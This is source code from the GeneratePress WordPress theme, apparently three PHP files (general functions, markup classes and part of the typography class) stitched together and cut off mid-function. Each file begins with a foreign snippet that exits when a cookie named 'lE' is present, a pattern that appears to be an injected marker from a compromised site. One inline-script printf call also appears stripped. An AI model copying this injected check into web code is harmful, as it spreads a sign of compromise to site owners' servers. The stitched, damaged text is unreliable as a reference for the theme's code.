if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* General functions.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_scripts' ) ) {
add_action( 'wp_enqueue_scripts', 'generate_scripts' );
/**
* Enqueue scripts and styles
*/
function generate_scripts() {
$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
$dir_uri = get_template_directory_uri();
if ( generate_is_using_flexbox() ) {
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentionally loose.
if ( is_singular() && ( comments_open() || '0' != get_comments_number() ) ) {
wp_enqueue_style( 'generate-comments', $dir_uri . "/assets/css/components/comments{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if (
is_active_sidebar( 'top-bar' ) ||
is_active_sidebar( 'footer-bar' ) ||
is_active_sidebar( 'footer-1' ) ||
is_active_sidebar( 'footer-2' ) ||
is_active_sidebar( 'footer-3' ) ||
is_active_sidebar( 'footer-4' ) ||
is_active_sidebar( 'footer-5' )
) {
wp_enqueue_style( 'generate-widget-areas', $dir_uri . "/assets/css/components/widget-areas{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/main{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
if ( generate_get_option( 'combine_css' ) && $suffix ) {
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/all{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-style-grid', $dir_uri . "/assets/css/unsemantic-grid{$suffix}.css", false, GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/style{$suffix}.css", array(), GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-mobile-style', $dir_uri . "/assets/css/mobile{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( 'font' === generate_get_option( 'icons' ) ) {
wp_enqueue_style( 'generate-font-icons', $dir_uri . "/assets/css/components/font-icons{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) {
wp_enqueue_style( 'font-awesome', $dir_uri . "/assets/css/components/font-awesome{$suffix}.css", false, '4.7', 'all' );
}
if ( is_rtl() ) {
if ( generate_is_using_flexbox() ) {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/main-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/style-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( is_child_theme() && apply_filters( 'generate_load_child_theme_stylesheet', true ) ) {
wp_enqueue_style( 'generate-child', get_stylesheet_uri(), array( 'generate-style' ), filemtime( get_stylesheet_directory() . '/style.css' ), 'all' );
}
if ( function_exists( 'wp_script_add_data' ) ) {
wp_enqueue_script( 'generate-classlist', $dir_uri . "/assets/js/classList{$suffix}.js", array(), GENERATE_VERSION, true );
wp_script_add_data( 'generate-classlist', 'conditional', 'lte IE 11' );
}
if ( generate_has_active_menu() ) {
wp_enqueue_script( 'generate-menu', $dir_uri . "/assets/js/menu{$suffix}.js", array(), GENERATE_VERSION, true );
}
wp_localize_script(
'generate-menu',
'generatepressMenu',
apply_filters(
'generate_localize_js_args',
array(
'toggleOpenedSubMenus' => true,
'openSubMenuLabel' => esc_attr__( 'Open Sub-Menu', 'generatepress' ),
'closeSubMenuLabel' => esc_attr__( 'Close Sub-Menu', 'generatepress' ),
)
)
);
if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) {
wp_enqueue_script( 'generate-dropdown-click', $dir_uri . "/assets/js/dropdown-click{$suffix}.js", array(), GENERATE_VERSION, true );
}
if ( apply_filters( 'generate_enable_modal_script', false ) ) {
wp_enqueue_script( 'generate-modal', $dir_uri . '/assets/dist/modal.js', array(), GENERATE_VERSION, true );
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
wp_enqueue_script( 'generate-navigation-search', $dir_uri . "/assets/js/navigation-search{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-navigation-search',
'generatepressNavSearch',
array(
'open' => esc_attr__( 'Open Search Bar', 'generatepress' ),
'close' => esc_attr__( 'Close Search Bar', 'generatepress' ),
)
);
}
if ( 'enable' === generate_get_option( 'back_to_top' ) ) {
wp_enqueue_script( 'generate-back-to-top', $dir_uri . "/assets/js/back-to-top{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-back-to-top',
'generatepressBackToTop',
apply_filters(
'generate_back_to_top_js_args',
array(
'smooth' => true,
)
)
);
}
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
}
if ( ! function_exists( 'generate_widgets_init' ) ) {
add_action( 'widgets_init', 'generate_widgets_init' );
/**
* Register widgetized area and update sidebar with default widgets
*/
function generate_widgets_init() {
$widgets = array(
'sidebar-1' => __( 'Right Sidebar', 'generatepress' ),
'sidebar-2' => __( 'Left Sidebar', 'generatepress' ),
'header' => __( 'Header', 'generatepress' ),
'footer-1' => __( 'Footer Widget 1', 'generatepress' ),
'footer-2' => __( 'Footer Widget 2', 'generatepress' ),
'footer-3' => __( 'Footer Widget 3', 'generatepress' ),
'footer-4' => __( 'Footer Widget 4', 'generatepress' ),
'footer-5' => __( 'Footer Widget 5', 'generatepress' ),
'footer-bar' => __( 'Footer Bar', 'generatepress' ),
'top-bar' => __( 'Top Bar', 'generatepress' ),
);
foreach ( $widgets as $id => $name ) {
register_sidebar(
array(
'name' => $name,
'id' => $id,
'before_widget' => '',
'before_title' => apply_filters( 'generate_start_widget_title', '' ),
)
);
}
}
}
if ( ! function_exists( 'generate_smart_content_width' ) ) {
add_action( 'wp', 'generate_smart_content_width' );
/**
* Set the $content_width depending on layout of current page
* Hook into "wp" so we have the correct layout setting from generate_get_layout()
* Hooking into "after_setup_theme" doesn't get the correct layout setting
*/
function generate_smart_content_width() {
global $content_width;
$container_width = generate_get_option( 'container_width' );
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$layout = generate_get_layout();
if ( 'left-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 );
} elseif ( 'right-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 );
} elseif ( 'no-sidebar' === $layout ) {
$content_width = $container_width;
} else {
$content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 );
}
}
}
if ( ! function_exists( 'generate_page_menu_args' ) ) {
add_filter( 'wp_page_menu_args', 'generate_page_menu_args' );
/**
* Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
*
* @since 0.1
*
* @param array $args The existing menu args.
* @return array Menu args.
*/
function generate_page_menu_args( $args ) {
$args['show_home'] = true;
return $args;
}
}
if ( ! function_exists( 'generate_disable_title' ) ) {
add_filter( 'generate_show_title', 'generate_disable_title' );
/**
* Remove our title if set.
*
* @since 1.3.18
*
* @param bool $title Whether the title is displayed or not.
* @return bool Whether to display the content title.
*/
function generate_disable_title( $title ) {
if ( is_singular() ) {
$disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true );
if ( $disable_title ) {
$title = false;
}
}
return $title;
}
}
if ( ! function_exists( 'generate_resource_hints' ) ) {
add_filter( 'wp_resource_hints', 'generate_resource_hints', 10, 2 );
/**
* Add resource hints to our Google fonts call.
*
* @since 1.3.42
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function generate_resource_hints( $urls, $relation_type ) {
$handle = generate_is_using_dynamic_typography() ? 'generate-google-fonts' : 'generate-fonts';
$hint_type = apply_filters( 'generate_google_font_resource_hint_type', 'preconnect' );
$has_crossorigin_support = version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' );
if ( wp_style_is( $handle, 'queue' ) ) {
if ( $relation_type === $hint_type ) {
if ( $has_crossorigin_support && 'preconnect' === $hint_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
$urls[] = array(
'href' => 'https://fonts.googleapis.com',
'crossorigin',
);
} else {
$urls[] = 'https://fonts.gstatic.com';
$urls[] = 'https://fonts.googleapis.com';
}
}
if ( 'dns-prefetch' !== $hint_type ) {
$googleapis_index = array_search( 'fonts.googleapis.com', $urls );
if ( false !== $googleapis_index ) {
unset( $urls[ $googleapis_index ] );
}
}
}
return $urls;
}
}
if ( ! function_exists( 'generate_remove_caption_padding' ) ) {
add_filter( 'img_caption_shortcode_width', 'generate_remove_caption_padding' );
/**
* Remove WordPress's default padding on images with captions
*
* @param int $width Default WP .wp-caption width (image width + 10px).
* @return int Updated width to remove 10px padding.
*/
function generate_remove_caption_padding( $width ) {
return $width - 10;
}
}
if ( ! function_exists( 'generate_enhanced_image_navigation' ) ) {
add_filter( 'attachment_link', 'generate_enhanced_image_navigation', 10, 2 );
/**
* Filter in a link to a content ID attribute for the next/previous image links on image attachment pages.
*
* @param string $url The input URL.
* @param int $id The ID of the post.
*/
function generate_enhanced_image_navigation( $url, $id ) {
if ( ! is_attachment() && ! wp_attachment_is_image( $id ) ) {
return $url;
}
$image = get_post( $id );
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentially loose.
if ( ! empty( $image->post_parent ) && $image->post_parent != $id ) {
$url .= '#main';
}
return $url;
}
}
if ( ! function_exists( 'generate_categorized_blog' ) ) {
/**
* Determine whether blog/site has more than one category.
*
* @since 1.2.5
*
* @return bool True of there is more than one category, false otherwise.
*/
function generate_categorized_blog() {
if ( false === ( $all_the_cool_cats = get_transient( 'generate_categories' ) ) ) { // phpcs:ignore
// Create an array of all the categories that are attached to posts.
$all_the_cool_cats = get_categories(
array(
'fields' => 'ids',
'hide_empty' => 1,
// We only need to know if there is more than one category.
'number' => 2,
)
);
// Count the number of categories that are attached to the posts.
$all_the_cool_cats = count( $all_the_cool_cats );
set_transient( 'generate_categories', $all_the_cool_cats );
}
if ( $all_the_cool_cats > 1 ) {
// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
return true;
} else {
// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
return false;
}
}
}
if ( ! function_exists( 'generate_category_transient_flusher' ) ) {
add_action( 'edit_category', 'generate_category_transient_flusher' );
add_action( 'save_post', 'generate_category_transient_flusher' );
/**
* Flush out the transients used in {@see generate_categorized_blog()}.
*
* @since 1.2.5
*/
function generate_category_transient_flusher() {
// Like, beat it. Dig?
delete_transient( 'generate_categories' );
}
}
if ( ! function_exists( 'generate_get_default_color_palettes' ) ) {
/**
* Set up our colors for the color picker palettes and filter them so you can change them.
*
* @since 1.3.42
*/
function generate_get_default_color_palettes() {
$palettes = array(
'#000000',
'#FFFFFF',
'#F1C40F',
'#E74C3C',
'#1ABC9C',
'#1e72bd',
'#8E44AD',
'#00CC77',
);
return apply_filters( 'generate_default_color_palettes', $palettes );
}
}
add_filter( 'generate_fontawesome_essentials', 'generate_set_font_awesome_essentials' );
/**
* Check to see if we should include the full Font Awesome library or not.
*
* @since 2.0
*
* @param bool $essentials The existing value.
* @return bool
*/
function generate_set_font_awesome_essentials( $essentials ) {
if ( generate_get_option( 'font_awesome_essentials' ) ) {
return true;
}
return $essentials;
}
add_filter( 'generate_dynamic_css_skip_cache', 'generate_skip_dynamic_css_cache' );
/**
* Skips caching of the dynamic CSS if set to false.
*
* @since 2.0
*
* @param bool $cache The existing value.
* @return bool
*/
function generate_skip_dynamic_css_cache( $cache ) {
if ( ! generate_get_option( 'dynamic_css_cache' ) ) {
return true;
}
return $cache;
}
add_filter( 'wp_headers', 'generate_set_wp_headers' );
/**
* Set any necessary headers.
*
* @param array $headers The existing headers.
*
* @since 2.3
*/
function generate_set_wp_headers( $headers ) {
$headers['X-UA-Compatible'] = 'IE=edge';
return $headers;
}
add_filter( 'generate_after_element_class_attribute', 'generate_set_microdata_markup', 10, 2 );
/**
* Adds microdata to elements.
*
* @since 3.0.0
* @param string $output The existing output after the class attribute.
* @param string $context What element we're targeting.
*/
function generate_set_microdata_markup( $output, $context ) {
if ( 'left_sidebar' === $context || 'right_sidebar' === $context ) {
$context = 'sidebar';
}
if ( 'footer' === $context ) {
return $output;
}
if ( 'site-info' === $context ) {
$context = 'footer';
}
$microdata = generate_get_microdata( $context );
if ( $microdata ) {
return $microdata;
}
return $output;
}
add_action( 'wp_footer', 'generate_do_a11y_scripts' );
/**
* Enqueue scripts in the footer.
*
* @since 3.1.0
*/
function generate_do_a11y_scripts() {
if ( apply_filters( 'generate_print_a11y_script', true ) ) {
// Add our small a11y script inline.
printf(
'',
'!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();'
);
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Adds HTML markup.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_body_classes' ) ) {
add_filter( 'body_class', 'generate_body_classes' );
/**
* Adds custom classes to the array of body classes.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_body_classes( $classes ) {
$sidebar_layout = generate_get_layout();
$navigation_location = generate_get_navigation_location();
$navigation_alignment = generate_get_option( 'nav_alignment_setting' );
$navigation_dropdown = generate_get_option( 'nav_dropdown_type' );
$header_alignment = generate_get_option( 'header_alignment_setting' );
$content_layout = generate_get_option( 'content_layout_setting' );
// These values all have defaults, but we like to be extra careful.
$classes[] = ( $sidebar_layout ) ? $sidebar_layout : 'right-sidebar';
$classes[] = ( $navigation_location ) ? $navigation_location : 'nav-below-header';
$classes[] = ( $content_layout ) ? $content_layout : 'separate-containers';
if ( ! generate_is_using_flexbox() ) {
$footer_widgets = generate_get_footer_widgets();
$header_layout = generate_get_option( 'header_layout_setting' );
$classes[] = ( $header_layout ) ? $header_layout : 'fluid-header';
$classes[] = ( '' !== $footer_widgets ) ? 'active-footer-widgets-' . absint( $footer_widgets ) : 'active-footer-widgets-3';
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
$classes[] = 'nav-search-enabled';
}
// Only necessary for nav before or after header.
if ( ! generate_is_using_flexbox() && 'nav-below-header' === $navigation_location || 'nav-above-header' === $navigation_location ) {
if ( 'center' === $navigation_alignment ) {
$classes[] = 'nav-aligned-center';
} elseif ( 'right' === $navigation_alignment ) {
$classes[] = 'nav-aligned-right';
} elseif ( 'left' === $navigation_alignment ) {
$classes[] = 'nav-aligned-left';
}
}
if ( 'center' === $header_alignment ) {
$classes[] = 'header-aligned-center';
} elseif ( 'right' === $header_alignment ) {
$classes[] = 'header-aligned-right';
} elseif ( 'left' === $header_alignment ) {
$classes[] = 'header-aligned-left';
}
if ( 'click' === $navigation_dropdown ) {
$classes[] = 'dropdown-click';
$classes[] = 'dropdown-click-menu-item';
} elseif ( 'click-arrow' === $navigation_dropdown ) {
$classes[] = 'dropdown-click-arrow';
$classes[] = 'dropdown-click';
} else {
$classes[] = 'dropdown-hover';
}
if ( is_singular() ) {
// Page builder container metabox option.
// Used to be a single checkbox, hence the name/true value. Now it's a radio choice between full width and contained.
$content_container = get_post_meta( get_the_ID(), '_generate-full-width-content', true );
if ( $content_container ) {
if ( 'true' === $content_container ) {
$classes[] = 'full-width-content';
}
if ( 'contained' === $content_container ) {
$classes[] = 'contained-content';
}
}
if ( has_post_thumbnail() ) {
$classes[] = 'featured-image-active';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_top_bar_classes' ) ) {
add_filter( 'generate_top_bar_class', 'generate_top_bar_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_top_bar_classes( $classes ) {
$classes[] = 'top-bar';
if ( 'contained' === generate_get_option( 'top_bar_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
$classes[] = 'top-bar-align-' . esc_attr( generate_get_option( 'top_bar_alignment' ) );
return $classes;
}
}
if ( ! function_exists( 'generate_right_sidebar_classes' ) ) {
add_filter( 'generate_right_sidebar_class', 'generate_right_sidebar_classes' );
/**
* Adds custom classes to the right sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_right_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-right-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$classes[] = 'grid-' . $right_sidebar_width;
$classes[] = 'tablet-grid-' . $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'both-left':
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_left_sidebar_classes' ) ) {
add_filter( 'generate_left_sidebar_class', 'generate_left_sidebar_classes' );
/**
* Adds custom classes to the left sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_left_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-left-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-' . $left_sidebar_width;
$classes[] = 'tablet-grid-' . $left_sidebar_tablet_width;
$classes[] = 'mobile-grid-100';
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'left-sidebar':
$classes[] = 'pull-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'both-sidebars':
case 'both-left':
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_content_classes' ) ) {
add_filter( 'generate_content_class', 'generate_content_classes' );
/**
* Adds custom classes to the content container.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_content_classes( $classes ) {
$classes[] = 'content-area';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
$classes[] = 'mobile-grid-100';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'right-sidebar':
$classes[] = 'grid-' . ( 100 - $right_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $right_sidebar_tablet_width );
break;
case 'left-sidebar':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'no-sidebar':
$classes[] = 'grid-100';
$classes[] = 'tablet-grid-100';
break;
case 'both-sidebars':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-right':
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-left':
$classes[] = 'push-' . $total_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $total_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_header_classes' ) ) {
add_filter( 'generate_header_class', 'generate_header_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_header_classes( $classes ) {
$classes[] = 'site-header';
if ( 'contained-header' === generate_get_option( 'header_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( generate_has_inline_mobile_toggle() ) {
$classes[] = 'has-inline-mobile-toggle';
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_header_classes' ) ) {
add_filter( 'generate_inside_header_class', 'generate_inside_header_classes' );
/**
* Adds custom classes to inside the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_header_classes( $classes ) {
$classes[] = 'inside-header';
if ( 'full-width' !== generate_get_option( 'header_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_navigation_classes' ) ) {
add_filter( 'generate_navigation_class', 'generate_navigation_classes' );
/**
* Adds custom classes to the navigation.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_navigation_classes( $classes ) {
$classes[] = 'main-navigation';
if ( 'contained-nav' === generate_get_option( 'nav_layout_setting' ) ) {
if ( generate_is_using_flexbox() ) {
$navigation_location = generate_get_navigation_location();
if ( 'nav-float-right' !== $navigation_location && 'nav-float-left' !== $navigation_location ) {
$classes[] = 'grid-container';
}
} else {
$classes[] = 'grid-container';
$classes[] = 'grid-parent';
}
}
if ( generate_is_using_flexbox() ) {
$nav_alignment = generate_get_option( 'nav_alignment_setting' );
if ( 'center' === $nav_alignment ) {
$classes[] = 'nav-align-center';
} elseif ( 'right' === $nav_alignment ) {
$classes[] = 'nav-align-right';
} elseif ( is_rtl() && 'left' === $nav_alignment ) {
$classes[] = 'nav-align-left';
}
if ( generate_has_menu_bar_items() ) {
$classes[] = 'has-menu-bar-items';
}
}
$submenu_direction = 'right';
if ( 'left' === generate_get_option( 'nav_dropdown_direction' ) ) {
$submenu_direction = 'left';
}
if ( 'nav-left-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'right';
if ( 'both-right' === generate_get_layout() ) {
$submenu_direction = 'left';
}
}
if ( 'nav-right-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'left';
if ( 'both-left' === generate_get_layout() ) {
$submenu_direction = 'right';
}
}
$classes[] = 'sub-menu-' . $submenu_direction;
return $classes;
}
}
if ( ! function_exists( 'generate_inside_navigation_classes' ) ) {
add_filter( 'generate_inside_navigation_class', 'generate_inside_navigation_classes' );
/**
* Adds custom classes to the inner navigation.
*
* @param array $classes The existing classes.
* @since 1.3.41
*/
function generate_inside_navigation_classes( $classes ) {
$classes[] = 'inside-navigation';
if ( 'full-width' !== generate_get_option( 'nav_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_menu_classes' ) ) {
add_filter( 'generate_menu_class', 'generate_menu_classes' );
/**
* Adds custom classes to the menu.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_menu_classes( $classes ) {
$classes[] = 'menu';
$classes[] = 'sf-menu';
return $classes;
}
}
if ( ! function_exists( 'generate_footer_classes' ) ) {
add_filter( 'generate_footer_class', 'generate_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_footer_classes( $classes ) {
$classes[] = 'site-footer';
if ( 'contained-footer' === generate_get_option( 'footer_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( is_active_sidebar( 'footer-bar' ) ) {
$classes[] = 'footer-bar-active';
$classes[] = 'footer-bar-align-' . esc_attr( generate_get_option( 'footer_bar_alignment' ) );
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_footer_classes' ) ) {
add_filter( 'generate_inside_footer_class', 'generate_inside_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_footer_classes( $classes ) {
$classes[] = 'footer-widgets-container';
if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_main_classes' ) ) {
add_filter( 'generate_main_class', 'generate_main_classes' );
/**
* Adds custom classes to the element
*
* @param array $classes The existing classes.
* @since 1.1.0
*/
function generate_main_classes( $classes ) {
$classes[] = 'site-main';
return $classes;
}
}
add_filter( 'generate_page_class', 'generate_do_page_container_classes' );
/**
* Adds custom classes to the #page element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_page_container_classes( $classes ) {
$classes[] = 'site';
$classes[] = 'grid-container';
$classes[] = 'container';
if ( generate_is_using_hatom() ) {
$classes[] = 'hfeed';
}
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
return $classes;
}
add_filter( 'generate_comment-author_class', 'generate_do_comment_author_classes' );
/**
* Adds custom classes to the comment author element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_comment_author_classes( $classes ) {
$classes[] = 'comment-author';
if ( generate_is_using_hatom() ) {
$classes[] = 'vcard';
}
return $classes;
}
if ( ! function_exists( 'generate_post_classes' ) ) {
add_filter( 'post_class', 'generate_post_classes' );
/**
* Adds custom classes to the element.
* Remove .hentry class from pages to comply with structural data guidelines.
*
* @param array $classes The existing classes.
* @since 1.3.39
*/
function generate_post_classes( $classes ) {
if ( 'page' === get_post_type() || ! generate_is_using_hatom() ) {
$classes = array_diff( $classes, array( 'hentry' ) );
}
return $classes;
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* This file handles typography on the front-end.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Handles all of our typography option output.
*/
class GeneratePress_Typography {
/**
* Class instance.
*
* @access private
* @var $instance Class instance.
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_google_fonts' ) );
add_filter( 'generate_editor_styles', array( $this, 'add_editor_styles' ) );
// Load fonts the old way in versions before 5.8 as block_editor_settings_all didn't exist.
if ( version_compare( $GLOBALS['wp_version'], '5.8', '<' ) ) {
add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_google_fonts' ) );
}
}
/**
* Generate our Google Fonts URI.
*/
public static function get_google_fonts_uri() {
$fonts = generate_get_option( 'font_manager' );
if ( empty( $fonts ) ) {
return;
}
$google_fonts_uri = '';
$data = array();
foreach ( $fonts as $font ) {
if ( empty( $font['googleFont'] ) ) {
continue;
}
$variants = array();
if ( ! empty( $font['googleFontVariants'] ) ) {
// Remove spaces from string.
$variants = str_replace( ' ', '', $font['googleFontVariants'] );
// Turn string into array.
$variants = explode( ',', $variants );
}
$variants = apply_filters( 'generate_google_font_variants', $variants, $font['fontFamily'] );
$name = str_replace( ' ', '+', $font['fontFamily'] );
$name = str_replace( '"', '', $name );
if ( $variants ) {
$data[] = $name . ':' . implode( ',', $variants );
} else {
$data[] = $name;
}
}
if ( ! empty( $data ) ) {
$font_args = apply_filters(
'generate_google_font_args',
array(
'family' => implode( '|', $data ),
'subset' => null,
'display' => generate_get_option( 'google_font_display' ),
)
);
$google_fonts_uri = add_query_arg( $font_args, 'https://fonts.googleapis.com/css' );
}
return $google_fonts_uri;
}
/**
* Enqueue Google Fonts if they're set.
*/
public function enqueue_google_fonts() {
if ( ! generate_is_using_dynamic_typography() ) {
return;
}
$google_fonts_uri = self::get_google_fonts_uri();
if ( $google_fonts_uri ) {
wp_enqueue_style( 'generate-google-fonts', $google_fonts_uri, array(), GENERATE_VERSION );
}
}
/**
* Build our typography CSS.
*
* @param string $module The name of the module we're generating CSS for.
*/
public static function get_css( $module = 'core' ) {
$typography = generate_get_option( 'typography' );
